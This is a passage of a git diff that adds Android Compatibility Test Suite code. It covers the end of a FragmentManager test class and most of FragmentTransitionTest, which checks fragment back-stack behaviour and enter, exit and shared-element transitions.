+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(android.R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                    assertEquals(1, mOnBackStackChangedTimes);
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testRunOnCommit() throws Throwable {
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                final boolean[] ran = new boolean[1];
+                FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+                fm.beginTransaction().runOnCommit(new Runnable() {
+                    @Override
+                    public void run() {
+                        ran[0] = true;
+                    }
+                }).commit();
+                fm.executePendingTransactions();
+                assertEquals(0, mOnBackStackChangedTimes);
+
+                assertTrue("runOnCommit runnable never ran", ran[0]);
+
+                ran[0] = false;
+
+                boolean threw = false;
+                try {
+                    fm.beginTransaction().runOnCommit(new Runnable() {
+                        @Override
+                        public void run() {
+                            ran[0] = true;
+                        }
+                    }).addToBackStack(null).commit();
+                } catch (IllegalStateException ise) {
+                    threw = true;
+                }
+
+                fm.executePendingTransactions();
+                assertEquals(0, mOnBackStackChangedTimes);
+
+                assertTrue("runOnCommit was allowed to be called for back stack transaction",
+                        threw);
+                assertFalse("runOnCommit runnable for back stack transaction was run", ran[0]);
+            }
+        });
+    }
+
+    // Ensure that getFragments() works during transactions, even if it is run off thread
+    @Test
+    public void getFragmentsOffThread() throws Throwable {
+        final FragmentManager fm = mActivity.getFragmentManager();
+
+        // Make sure that adding a fragment works
+        Fragment fragment = new FragmentWithView();
+        fm.beginTransaction()
+                .add(android.R.id.content, fragment)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        Collection<Fragment> fragments = fm.getFragments();
+        assertEquals(1, fragments.size());
+        assertTrue(fragments.contains(fragment));
+        assertEquals(1, mOnBackStackChangedTimes);
+
+        // Removed fragments shouldn't show
+        fm.beginTransaction()
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertTrue(fm.getFragments().isEmpty());
+        assertEquals(2, mOnBackStackChangedTimes);
+
+        // Now try detached fragments
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        assertEquals(3, mOnBackStackChangedTimes);
+        fm.beginTransaction()
+                .detach(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertTrue(fm.getFragments().isEmpty());
+        assertEquals(4, mOnBackStackChangedTimes);
+
+        // Now try hidden fragments
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        assertEquals(5, mOnBackStackChangedTimes);
+        fm.beginTransaction()
+                .hide(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        fragments = fm.getFragments();
+        assertEquals(1, fragments.size());
+        assertTrue(fragments.contains(fragment));
+        assertEquals(6, mOnBackStackChangedTimes);
+
+        // And showing it again shouldn't change anything:
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        fragments = fm.getFragments();
+        assertEquals(1, fragments.size());
+        assertTrue(fragments.contains(fragment));
+        assertEquals(7, mOnBackStackChangedTimes);
+
+        // Now pop back to the start state
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        assertEquals(8, mOnBackStackChangedTimes);
+
+        // We can't force concurrency, but we can do it lots of times and hope that
+        // we hit it.
+        for (int i = 0; i < 100; i++) {
+            Fragment fragment2 = new FragmentWithView();
+            fm.beginTransaction()
+                    .add(android.R.id.content, fragment2)
+                    .addToBackStack(null)
+                    .commit();
+            getFragmentsUntilSize(1);
+
+            fm.popBackStack();
+            getFragmentsUntilSize(0);
+        }
+    }
+
+    /**
+     * When a FragmentManager is detached, it should allow commitAllowingStateLoss()
+     * and commitNowAllowingStateLoss() by just dropping the transaction.
+     */
+    @Test
+    public void commitAllowStateLossDetached() throws Throwable {
+        Fragment fragment1 = new CorrectFragment();
+        mActivity.getFragmentManager()
+                .beginTransaction()
+                .add(fragment1, "1")
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, mOnBackStackChangedTimes);
+        final FragmentManager fm = fragment1.getChildFragmentManager();
+        mActivity.getFragmentManager()
+                .beginTransaction()
+                .remove(fragment1)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, mActivity.getFragmentManager().getFragments().size());
+        assertEquals(0, fm.getFragments().size());
+        assertEquals(0, mOnBackStackChangedTimes);
+
+        // Now the fragment1's fragment manager should allow commitAllowingStateLoss
+        // by doing nothing since it has been detached.
+        Fragment fragment2 = new CorrectFragment();
+        fm.beginTransaction()
+                .add(fragment2, "2")
+                .commitAllowingStateLoss();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, fm.getFragments().size());
+        assertEquals(0, mOnBackStackChangedTimes);
+
+        // It should also allow commitNowAllowingStateLoss by doing nothing
+        mActivityRule.runOnUiThread(() -> {
+            Fragment fragment3 = new CorrectFragment();
+            fm.beginTransaction()
+                    .add(fragment3, "3")
+                    .commitNowAllowingStateLoss();
+            assertEquals(0, fm.getFragments().size());
+        });
+        assertEquals(0, mOnBackStackChangedTimes);
+    }
+
+    /**
+     * onNewIntent() should note that the state is not saved so that child fragment
+     * managers can execute transactions.
+     */
+    @Test
+    public void newIntentUnlocks() throws Throwable {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        Intent intent1 = new Intent(mActivity, NewIntentActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        NewIntentActivity newIntentActivity =
+                (NewIntentActivity) instrumentation.startActivitySync(intent1);
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        Intent intent2 = new Intent(mActivity, FragmentTestActivity.class);
+        intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Activity coveringActivity = instrumentation.startActivitySync(intent2);
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        Intent intent3 = new Intent(mActivity, NewIntentActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mActivity.startActivity(intent3);
+        assertTrue(newIntentActivity.newIntent.await(1, TimeUnit.SECONDS));
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        for (Fragment fragment : newIntentActivity.getFragmentManager().getFragments()) {
+            // There really should only be one fragment in newIntentActivity.
+            assertEquals(1, fragment.getChildFragmentManager().getFragments().size());
+        }
+    }
+
+    @Test
+    public void testGetLayoutInflater() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            final OnGetLayoutInflaterFragment fragment1 = new OnGetLayoutInflaterFragment();
+            assertEquals(0, fragment1.onGetLayoutInflaterCalls);
+            mActivity.getFragmentManager().beginTransaction()
+                    .add(android.R.id.content, fragment1)
+                    .addToBackStack(null)
+                    .commit();
+            mActivity.getFragmentManager().executePendingTransactions();
+            assertEquals(1, fragment1.onGetLayoutInflaterCalls);
+            assertEquals(fragment1.layoutInflater, fragment1.getLayoutInflater());
+            // getLayoutInflater() didn't force onGetLayoutInflater()
+            assertEquals(1, fragment1.onGetLayoutInflaterCalls);
+
+            LayoutInflater layoutInflater = fragment1.layoutInflater;
+            // Replacing fragment1 won't detach it, so the value won't be cleared
+            final OnGetLayoutInflaterFragment fragment2 = new OnGetLayoutInflaterFragment();
+            mActivity.getFragmentManager().beginTransaction()
+                    .replace(android.R.id.content, fragment2)
+                    .addToBackStack(null)
+                    .commit();
+            mActivity.getFragmentManager().executePendingTransactions();
+
+            assertSame(layoutInflater, fragment1.getLayoutInflater());
+            assertEquals(1, fragment1.onGetLayoutInflaterCalls);
+
+            // Popping it should cause onCreateView again, so a new LayoutInflater...
+            mActivity.getFragmentManager().popBackStackImmediate();
+            assertNotSame(layoutInflater, fragment1.getLayoutInflater());
+            assertEquals(2, fragment1.onGetLayoutInflaterCalls);
+            layoutInflater = fragment1.layoutInflater;
+            assertSame(layoutInflater, fragment1.getLayoutInflater());
+
+            // Popping it should detach it, clearing the cached value again
+            mActivity.getFragmentManager().popBackStackImmediate();
+
+            // once it is detached, the getLayoutInflater() will default to throw
+            // an exception, but we've made it return null instead.
+            assertEquals(2, fragment1.onGetLayoutInflaterCalls);
+            assertNull(fragment1.getLayoutInflater());
+            assertEquals(3, fragment1.onGetLayoutInflaterCalls);
+        });
+    }
+
+    private void getFragmentsUntilSize(int expectedSize) {
+        final long endTime = SystemClock.uptimeMillis() + 3000;
+
+        do {
+            assertTrue(SystemClock.uptimeMillis() < endTime);
+        } while (mActivity.getFragmentManager().getFragments().size() != expectedSize);
+    }
+
+    public static class CorrectFragment extends Fragment {}
+
+    private static class PrivateFragment extends Fragment {}
+
+    static class PackagePrivateFragment extends Fragment {}
+
+    private class NonStaticFragment extends Fragment {}
+
+    public static class FragmentWithView extends Fragment {
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            return inflater.inflate(R.layout.text_a, container, false);
+        }
+    }
+
+    public static class OnGetLayoutInflaterFragment extends Fragment {
+        public int onGetLayoutInflaterCalls = 0;
+        public LayoutInflater layoutInflater;
+
+        @Override
+        public LayoutInflater onGetLayoutInflater(Bundle savedInstanceState) {
+            onGetLayoutInflaterCalls++;
+            try {
+                layoutInflater = super.onGetLayoutInflater(savedInstanceState);
+            } catch (Exception e) {
+                return null;
+            }
+            return layoutInflater;
+        }
+
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            return inflater.inflate(R.layout.text_a, container, false);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
new file mode 100644
index 0000000..6f63e98
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
@@ -0,0 +1,1080 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
+
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.app.FragmentTransaction;
+import android.app.SharedElementCallback;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.transition.TransitionSet;
+import android.view.View;
+
+import com.android.compatibility.common.util.transition.TargetTracking;
+import com.android.compatibility.common.util.transition.TrackingTransition;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.mockito.ArgumentCaptor;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.stream.Collectors;
+
+@MediumTest
+@RunWith(Parameterized.class)
+public class FragmentTransitionTest {
+    private final boolean mReordered;
+    private int mOnBackStackChangedTimes;
+    private FragmentManager.OnBackStackChangedListener mOnBackStackChangedListener;
+
+    @Parameterized.Parameters
+    public static Object[] data() {
+        return new Boolean[] {
+                false, true
+        };
+    }
+
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    private FragmentManager mFragmentManager;
+
+    public FragmentTransitionTest(final boolean reordered) {
+        mReordered = reordered;
+    }
+
+    @Before
+    public void setup() throws Throwable {
+        mFragmentManager = mActivityRule.getActivity().getFragmentManager();
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        mOnBackStackChangedTimes = 0;
+        mOnBackStackChangedListener = new FragmentManager.OnBackStackChangedListener() {
+            @Override
+            public void onBackStackChanged() {
+                mOnBackStackChangedTimes++;
+            }
+        };
+        mFragmentManager.addOnBackStackChangedListener(mOnBackStackChangedListener);
+    }
+
+    @After
+    public void teardown() throws Throwable {
+        mFragmentManager.removeOnBackStackChangedListener(mOnBackStackChangedListener);
+        mOnBackStackChangedListener = null;
+    }
+
+    // Test that normal view transitions (enter, exit, reenter, return) run with
+    // a single fragment.
+    @Test
+    public void enterExitTransitions() throws Throwable {
+        // enter transition
+        TransitionFragment fragment = setupInitialFragment();
+        final View blue = findBlue();
+        final View green = findBlue();
+
+        // exit transition
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+
+        fragment.waitForTransition();
+        verifyAndClearTransition(fragment.exitTransition, null, green, blue);
+        verifyNoOtherTransitions(fragment);
+        assertEquals(2, mOnBackStackChangedTimes);
+
+        // reenter transition
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        fragment.waitForTransition();
+        final View green2 = findGreen();
+        final View blue2 = findBlue();
+        verifyAndClearTransition(fragment.reenterTransition, null, green2, blue2);
+        verifyNoOtherTransitions(fragment);
+        assertEquals(3, mOnBackStackChangedTimes);
+
+        // return transition
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        fragment.waitForTransition();
+        verifyAndClearTransition(fragment.returnTransition, null, green2, blue2);
+        verifyNoOtherTransitions(fragment);
+        assertEquals(4, mOnBackStackChangedTimes);
+    }
+
+    // Test that shared elements transition from one fragment to the next
+    // and back during pop.
+    @Test
+    public void sharedElement() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        verifyTransition(fragment1, fragment2, "blueSquare");
+        assertEquals(2, mOnBackStackChangedTimes);
+
+        // Now pop the back stack
+        verifyPopTransition(1, fragment2, fragment1);
+        assertEquals(3, mOnBackStackChangedTimes);
+    }
+
+    // Test that shared element transitions through multiple fragments work together
+    @Test
+    public void intermediateFragment() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        final TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene3);
+
+        verifyTransition(fragment1, fragment2, "shared");
+
+        final TransitionFragment fragment3 = new TransitionFragment();
+        fragment3.setLayoutId(R.layout.scene2);
+
+        verifyTransition(fragment2, fragment3, "blueSquare");
+
+        // Should transfer backwards when popping multiple:
+        verifyPopTransition(2, fragment3, fragment1, fragment2);
+    }
+
+    // Adding/removing the same fragment multiple times shouldn't mess anything up
+    @Test
+    public void removeAdded() throws Throwable {
+        final TransitionFragment fragment1 = setupInitialFragment();
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+
+        final TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFragmentManager.beginTransaction()
+                        .setReorderingAllowed(mReordered)
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .replace(R.id.fragmentContainer, fragment1)
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+            }
+        });
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(2, mOnBackStackChangedTimes);
+
+        // should be a normal transition from fragment1 to fragment2
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final View endBlue = findBlue();
+        final View endGreen = findGreen();
+        verifyAndClearTransition(fragment1.exitTransition, null, startBlue, startGreen);
+        verifyAndClearTransition(fragment2.enterTransition, null, endBlue, endGreen);
+        verifyNoOtherTransitions(fragment1);
+        verifyNoOtherTransitions(fragment2);
+
+        // Pop should also do the same thing
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        assertEquals(3, mOnBackStackChangedTimes);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final View popBlue = findBlue();
+        final View popGreen = findGreen();
+        verifyAndClearTransition(fragment1.reenterTransition, null, popBlue, popGreen);
+        verifyAndClearTransition(fragment2.returnTransition, null, endBlue, endGreen);
+        verifyNoOtherTransitions(fragment1);
+        verifyNoOtherTransitions(fragment2);
+    }
+
+    // Make sure that shared elements on two different fragment containers don't interact
+    @Test
+    public void crossContainer() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+        TransitionFragment fragment1 = new TransitionFragment();
+        fragment1.setLayoutId(R.layout.scene1);
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene1);
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .add(R.id.fragmentContainer1, fragment1)
+                .add(R.id.fragmentContainer2, fragment2)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(1, mOnBackStackChangedTimes);
+
+        fragment1.waitForTransition();
+        final View greenSquare1 = findViewById(fragment1, R.id.greenSquare);
+        final View blueSquare1 = findViewById(fragment1, R.id.blueSquare);
+        verifyAndClearTransition(fragment1.enterTransition, null, greenSquare1, blueSquare1);
+        verifyNoOtherTransitions(fragment1);
+        fragment2.waitForTransition();
+        final View greenSquare2 = findViewById(fragment2, R.id.greenSquare);
+        final View blueSquare2 = findViewById(fragment2, R.id.blueSquare);
+        verifyAndClearTransition(fragment2.enterTransition, null, greenSquare2, blueSquare2);
+        verifyNoOtherTransitions(fragment2);
+
+        // Make sure the correct transitions are run when the target names
+        // are different in both shared elements. We may fool the system.
+        verifyCrossTransition(false, fragment1, fragment2);
+
+        // Make sure the correct transitions are run when the source names
+        // are different in both shared elements. We may fool the system.
+        verifyCrossTransition(true, fragment1, fragment2);
+    }
+
+    // Make sure that onSharedElementStart and onSharedElementEnd are called
+    @Test
+    public void callStartEndWithSharedElements() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        SharedElementCallback enterCallback = mock(SharedElementCallback.class);
+        fragment2.setEnterSharedElementCallback(enterCallback);
+
+        final View startBlue = findBlue();
+
+        verifyTransition(fragment1, fragment2, "blueSquare");
+
+        ArgumentCaptor<List> names = ArgumentCaptor.forClass(List.class);
+        ArgumentCaptor<List> views = ArgumentCaptor.forClass(List.class);
+        ArgumentCaptor<List> snapshots = ArgumentCaptor.forClass(List.class);
+        verify(enterCallback).onSharedElementStart(names.capture(), views.capture(),
+                snapshots.capture());
+        assertEquals(1, names.getValue().size());
+        assertEquals(1, views.getValue().size());
+        assertNull(snapshots.getValue());
+        assertEquals("blueSquare", names.getValue().get(0));
+        assertEquals(startBlue, views.getValue().get(0));
+
+        final View endBlue = findBlue();
+
+        verify(enterCallback).onSharedElementEnd(names.capture(), views.capture(),
+                snapshots.capture());
+        assertEquals(1, names.getValue().size());
+        assertEquals(1, views.getValue().size());
+        assertNull(snapshots.getValue());
+        assertEquals("blueSquare", names.getValue().get(0));
+        assertEquals(endBlue, views.getValue().get(0));
+
+        // Now pop the back stack
+        reset(enterCallback);
+        verifyPopTransition(1, fragment2, fragment1);
+
+        verify(enterCallback).onSharedElementStart(names.capture(), views.capture(),
+                snapshots.capture());
+        assertEquals(1, names.getValue().size());
+        assertEquals(1, views.getValue().size());
+        assertNull(snapshots.getValue());
+        assertEquals("blueSquare", names.getValue().get(0));
+        assertEquals(endBlue, views.getValue().get(0));
+
+        final View reenterBlue = findBlue();
+
+        verify(enterCallback).onSharedElementEnd(names.capture(), views.capture(),
+                snapshots.capture());
+        assertEquals(1, names.getValue().size());
+        assertEquals(1, views.getValue().size());
+        assertNull(snapshots.getValue());
+        assertEquals("blueSquare", names.getValue().get(0));
+        assertEquals(reenterBlue, views.getValue().get(0));
+    }
+
+    // Make sure that onMapSharedElement works to change the shared element going out
+    @Test
+    public void onMapSharedElementOut() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+
+        final Rect startGreenBounds = getBoundsOnScreen(startGreen);
+
+        SharedElementCallback mapOut = new SharedElementCallback() {
+            @Override
+            public void onMapSharedElements(List<String> names, Map<String, View> sharedElements) {
+                assertEquals(1, names.size());
+                assertEquals("blueSquare", names.get(0));
+                assertEquals(1, sharedElements.size());
+                assertEquals(startBlue, sharedElements.get("blueSquare"));
+                sharedElements.put("blueSquare", startGreen);
+            }
+        };
+        fragment1.setExitSharedElementCallback(mapOut);
+
+        mFragmentManager.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .setReorderingAllowed(mReordered)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View endBlue = findBlue();
+        final Rect endBlueBounds = getBoundsOnScreen(endBlue);
+
+        verifyAndClearTransition(fragment2.sharedElementEnter, startGreenBounds, startGreen,
+                endBlue);
+
+        SharedElementCallback mapBack = new SharedElementCallback() {
+            @Override
+            public void onMapSharedElements(List<String> names, Map<String, View> sharedElements) {
+                assertEquals(1, names.size());
+                assertEquals("blueSquare", names.get(0));
+                assertEquals(1, sharedElements.size());
+                final View expectedBlue = findViewById(fragment1, R.id.blueSquare);
+                assertEquals(expectedBlue, sharedElements.get("blueSquare"));
+                final View greenSquare = findViewById(fragment1, R.id.greenSquare);
+                sharedElements.put("blueSquare", greenSquare);
+            }
+        };
+        fragment1.setExitSharedElementCallback(mapBack);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View reenterGreen = findGreen();
+        verifyAndClearTransition(fragment2.sharedElementReturn, endBlueBounds, endBlue,
+                reenterGreen);
+    }
+
+    // Make sure that onMapSharedElement works to change the shared element target
+    @Test
+    public void onMapSharedElementIn() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final Rect startBlueBounds = getBoundsOnScreen(startBlue);
+
+        SharedElementCallback mapIn = new SharedElementCallback() {
+            @Override
+            public void onMapSharedElements(List<String> names, Map<String, View> sharedElements) {
+                assertEquals(1, names.size());
+                assertEquals("blueSquare", names.get(0));
+                assertEquals(1, sharedElements.size());
+                final View blueSquare = findViewById(fragment2, R.id.blueSquare);
+                assertEquals(blueSquare, sharedElements.get("blueSquare"));
+                final View greenSquare = findViewById(fragment2, R.id.greenSquare);
+                sharedElements.put("blueSquare", greenSquare);
+            }
+        };
+        fragment2.setEnterSharedElementCallback(mapIn);
+
+        mFragmentManager.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .setReorderingAllowed(mReordered)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View endGreen = findGreen();
+        final View endBlue = findBlue();
+        final Rect endGreenBounds = getBoundsOnScreen(endGreen);
+
+        verifyAndClearTransition(fragment2.sharedElementEnter, startBlueBounds, startBlue,
+                endGreen);
+
+        SharedElementCallback mapBack = new SharedElementCallback() {
+            @Override
+            public void onMapSharedElements(List<String> names, Map<String, View> sharedElements) {
+                assertEquals(1, names.size());
+                assertEquals("blueSquare", names.get(0));
+                assertEquals(1, sharedElements.size());
+                assertEquals(endBlue, sharedElements.get("blueSquare"));
+                sharedElements.put("blueSquare", endGreen);
+            }
+        };
+        fragment2.setEnterSharedElementCallback(mapBack);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View reenterBlue = findBlue();
+        verifyAndClearTransition(fragment2.sharedElementReturn, endGreenBounds, endGreen,
+                reenterBlue);
+    }
+
+    // Ensure that shared element transitions that have targets properly target the views
+    @Test
+    public void complexSharedElementTransition() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        ComplexTransitionFragment fragment2 = new ComplexTransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+        final Rect startBlueBounds = getBoundsOnScreen(startBlue);
+
+        mFragmentManager.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .addSharedElement(startGreen, "greenSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(2, mOnBackStackChangedTimes);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View endBlue = findBlue();
+        final View endGreen = findGreen();
+        final Rect endBlueBounds = getBoundsOnScreen(endBlue);
+
+        verifyAndClearTransition(fragment2.sharedElementEnterTransition1, startBlueBounds,
+                startBlue, endBlue);
+        verifyAndClearTransition(fragment2.sharedElementEnterTransition2, startBlueBounds,
+                startGreen, endGreen);
+
+        // Now see if it works when popped
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        assertEquals(3, mOnBackStackChangedTimes);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View reenterBlue = findBlue();
+        final View reenterGreen = findGreen();
+
+        verifyAndClearTransition(fragment2.sharedElementReturnTransition1, endBlueBounds,
+                endBlue, reenterBlue);
+        verifyAndClearTransition(fragment2.sharedElementReturnTransition2, endBlueBounds,
+                endGreen, reenterGreen);
+    }
+
+    // Ensure that after transitions have executed that they don't have any targets or other
+    // unfortunate modifications.
+    @Test
+    public void transitionsEndUnchanged() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        verifyTransition(fragment1, fragment2, "blueSquare");
+        assertEquals(0, fragment1.exitTransition.getTargets().size());
+        assertEquals(0, fragment2.sharedElementEnter.getTargets().size());
+        assertEquals(0, fragment2.enterTransition.getTargets().size());
+        assertNull(fragment1.exitTransition.getEpicenterCallback());
+        assertNull(fragment2.enterTransition.getEpicenterCallback());
+        assertNull(fragment2.sharedElementEnter.getEpicenterCallback());
+
+        // Now pop the back stack
+        verifyPopTransition(1, fragment2, fragment1);
+
+        assertEquals(0, fragment2.returnTransition.getTargets().size());
+        assertEquals(0, fragment2.sharedElementReturn.getTargets().size());
+        assertEquals(0, fragment1.reenterTransition.getTargets().size());
+        assertNull(fragment2.returnTransition.getEpicenterCallback());
+        assertNull(fragment2.sharedElementReturn.getEpicenterCallback());
+        assertNull(fragment2.reenterTransition.getEpicenterCallback());
+    }
+
+    // Ensure that transitions are done when a fragment is shown and hidden
+    @Test
+    public void showHideTransition() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .add(R.id.fragmentContainer, fragment2)
+                .hide(fragment1)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View endGreen = findViewById(fragment2, R.id.greenSquare);
+        final View endBlue = findViewById(fragment2, R.id.blueSquare);
+
+        assertEquals(View.GONE, fragment1.getView().getVisibility());
+        assertEquals(View.VISIBLE, startGreen.getVisibility());
+        assertEquals(View.VISIBLE, startBlue.getVisibility());
+
+        verifyAndClearTransition(fragment1.exitTransition, null, startGreen, startBlue);
+        verifyNoOtherTransitions(fragment1);
+
+        verifyAndClearTransition(fragment2.enterTransition, null, endGreen, endBlue);
+        verifyNoOtherTransitions(fragment2);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        verifyAndClearTransition(fragment1.reenterTransition, null, startGreen, startBlue);
+        verifyNoOtherTransitions(fragment1);
+
+        assertEquals(View.VISIBLE, fragment1.getView().getVisibility());
+        assertEquals(View.VISIBLE, startGreen.getVisibility());
+        assertEquals(View.VISIBLE, startBlue.getVisibility());
+
+        verifyAndClearTransition(fragment2.returnTransition, null, endGreen, endBlue);
+        verifyNoOtherTransitions(fragment2);
+    }
+
+    // Ensure that transitions are done when a fragment is attached and detached
+    @Test
+    public void attachDetachTransition() throws Throwable {
